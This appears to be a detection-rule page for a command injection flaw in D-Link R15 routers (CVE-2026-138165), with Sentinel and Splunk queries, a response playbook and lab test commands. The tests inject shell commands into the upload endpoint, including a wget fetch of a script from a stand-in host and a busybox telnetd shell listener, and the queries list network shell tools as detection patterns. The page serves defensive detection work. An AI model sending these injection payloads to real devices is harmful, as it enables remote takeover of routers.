Skip to content
CVE-2026-138165 Microsoft Sentinel · KQL

Detect D-Link R15 /flupl/nodered Upload Handler OS Command Injection (CVE-2026-138165) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-138165, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the Upload Handler of D-Link R15 routers up to firmware version 1.22. A remote, unauthenticated attacker can send a manipulated request to the /flupl/nodered endpoint that controls the filename argument to inject and execute arbitrary operating system commands. Detection focuses on HTTP requests to the /flupl/nodered path containing shell metacharacters or command-injection payloads, and on anomalous child processes spawned by the router's web/upload daemon. A public exploit has been published and a proof-of-concept repository is referenced.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-eb81e0b95a · https://df00tech.com/detections/CVE-2026-138165 · licence: https://df00tech.com/detections/licence
let cmdInjectionPatterns = dynamic([";","|","&&","`","$(","%3B","%7C","%26","wget ","curl ","nc ","telnetd","/bin/sh","busybox","chmod "]);
let suspiciousUA = dynamic(["","curl","python-requests","Go-http-client"]);
W3CIISLog
| where csUriStem has "/flupl/nodered" or csUriQuery has "/flupl/nodered"
| extend decodedUri = url_decode(strcat(csUriStem, "?", csUriQuery))
| where decodedUri has_any (cmdInjectionPatterns) or csUriQuery has_any (cmdInjectionPatterns)
| project TimeGenerated, cIP, csUriStem, csUriQuery, decodedUri, csUserAgent, csMethod, scStatus, sIP
| sort by TimeGenerated desc
critical severity medium confidence

Flags HTTP requests to the D-Link R15 /flupl/nodered Upload Handler endpoint whose URI or query string contains shell metacharacters or command-injection payloads, indicative of CVE-2026-138165 exploitation. If router/proxy logs are forwarded as W3CIISLog or a reverse-proxy table, this surfaces unauthenticated injection attempts.

Data Sources

Web ProxyIIS/Reverse Proxy LogsNetwork Device HTTP Logs

Required Tables

W3CIISLog

False Positives & Tuning

  • Legitimate Node-RED flow uploads from an authorized administrator that happen to include special characters in filenames or payload bodies.
  • Vulnerability scanners and authorized penetration tests probing the /flupl/nodered endpoint.
  • URL-decoding of benign query parameters that incidentally contain ampersands or semicolons used as parameter separators.

Other platforms for CVE-2026-138165


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated command injection via /flupl/nodered query string

    Expected signal: Proxy/router HTTP log entry for POST /flupl/nodered with a semicolon and 'id' command in the body/query from the test source IP.

  2. Test 2 Simulated payload-download injection (wget)

    Expected signal: HTTP log entry containing URL-encoded '%3Bwget' against /flupl/nodered.

  3. Test 3 Simulated busybox/telnetd injection

    Expected signal: HTTP log entry for /flupl/nodered containing backtick metacharacters and the 'busybox telnetd' string.


Response Playbook

Triage

  1. Confirm the target device is a D-Link R15 router running firmware version 1.22 or earlier, which is affected by CVE-2026-138165.
  2. Extract and URL-decode the full request to /flupl/nodered and identify the injected command payload (e.g. wget/curl of a secondary payload, busybox commands, reverse shell, or telnetd activation).
  3. Determine whether the request succeeded (HTTP 200/callback) versus being blocked, and whether it originated from an internal/trusted source or an external/untrusted IP.
  4. Check for repeated or scripted requests from the same source IP indicating automated exploitation or mass scanning.

Containment

  1. Block the source IP(s) at the perimeter firewall and restrict management/upload access to the D-Link R15 web interface to trusted networks only.
  2. Isolate the affected router from the network if command execution is confirmed, and treat the device as fully compromised.
  3. Disable WAN-side access to the web administration and /flupl endpoints until firmware is patched.

Evidence Collection

  1. Capture proxy/firewall/router HTTP access logs showing the full /flupl/nodered request, source IP, user agent, and timestamp.
  2. If device access is available, collect router configuration, running processes, cron/startup entries, and any files written to /tmp or writable partitions that may be dropped payloads.

Escalation Criteria

  • !Escalate to incident response immediately if any /flupl/nodered request with a command-injection payload returns a success response or is followed by outbound connections (payload download, reverse shell, C2).
  • !Escalate if multiple D-Link R15 devices are targeted, indicating a coordinated campaign, given the remote, unauthenticated, CVSS 9.3 nature of the flaw.

Investigation Guide

Forensic Artifacts

  • >Router/proxy HTTP access log entries for /flupl/nodered containing shell metacharacters.
  • >Unexpected files in writable device partitions (/tmp, /var) and anomalous child processes spawned by the web/upload daemon.
  • >New or modified startup scripts, cron entries, or enabled services (e.g. telnetd) on the device.

Tuning Guidance

Baseline legitimate administrative access to /flupl/nodered from known management IPs and exclude them. If the router's HTTP logs are not centrally collected, deploy a reverse proxy or network IDS in front of the device to gain visibility. Tighten the command-injection regex to reduce false positives once typical benign Node-RED upload payloads for the environment are characterized, and raise confidence to high in environments where no legitimate external access to the endpoint should ever occur.


Hunting Queries

Surfaces source IPs making repeated or varied requests to the D-Link /flupl upload paths, highlighting scanning or iterative exploitation.

Hunting — KQL
kql
// df00tech DF00-eb81e0b95a · https://df00tech.com/detections/CVE-2026-138165 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/flupl" | summarize count(), make_set(csUriQuery) by cIP, bin(TimeGenerated, 1h) | where count_ > 5
Hunting — SPL
spl
``` df00tech DF00-eb81e0b95a · https://df00tech.com/detections/CVE-2026-138165 · licence: https://df00tech.com/detections/licence ```
index=proxy uri="*/flupl*" | stats count values(uri) as uris dc(uri) as unique_uris by src_ip | where count > 5

Atomic Red Team Tests

Test 1 Simulated command injection via /flupl/nodered query string
linux

Sends an HTTP request to a lab D-Link R15 (or mock service) emulating the CVE-2026-138165 injection by appending a shell metacharacter and benign command to the /flupl/nodered endpoint.

Command

bash
curl -s -X POST "http://192.0.2.10/flupl/nodered" --data "name=test;id" -H "User-Agent: test-poc" || true

Cleanup

bash
echo 'No persistent changes made by client; remove any test logs if desired'

Expected Telemetry

Proxy/router HTTP log entry for POST /flupl/nodered with a semicolon and 'id' command in the body/query from the test source IP.

Expected Detection

The KQL/SPL rules match the /flupl/nodered request containing the ';' metacharacter and command injection indicator.

Test 2 Simulated payload-download injection (wget)
linux

Emulates an attacker chaining a wget download via command injection against the upload handler endpoint in a lab environment.

Command

bash
curl -s "http://192.0.2.10/flupl/nodered?x=%3Bwget%20http%3A%2F%2F192.0.2.20%2Fp.sh" || true

Cleanup

bash
rm -f /tmp/p.sh 2>/dev/null || true

Expected Telemetry

HTTP log entry containing URL-encoded '%3Bwget' against /flupl/nodered.

Expected Detection

Detection rules fire on the decoded ';wget' command-injection pattern targeting /flupl/nodered.

Test 3 Simulated busybox/telnetd injection
linux

Simulates enabling telnetd via injected busybox command against the /flupl/nodered handler in a controlled lab.

Command

bash
curl -s -X POST "http://192.0.2.10/flupl/nodered" --data 'cmd=`busybox telnetd -l /bin/sh -p 4444`' -H 'User-Agent: python-requests/2.31' || true

Cleanup

bash
echo 'Stop any lab telnetd: killall telnetd 2>/dev/null || true'

Expected Telemetry

HTTP log entry for /flupl/nodered containing backtick metacharacters and the 'busybox telnetd' string.

Expected Detection

Detection rules match on the backtick and busybox command-injection indicators.

Related Detections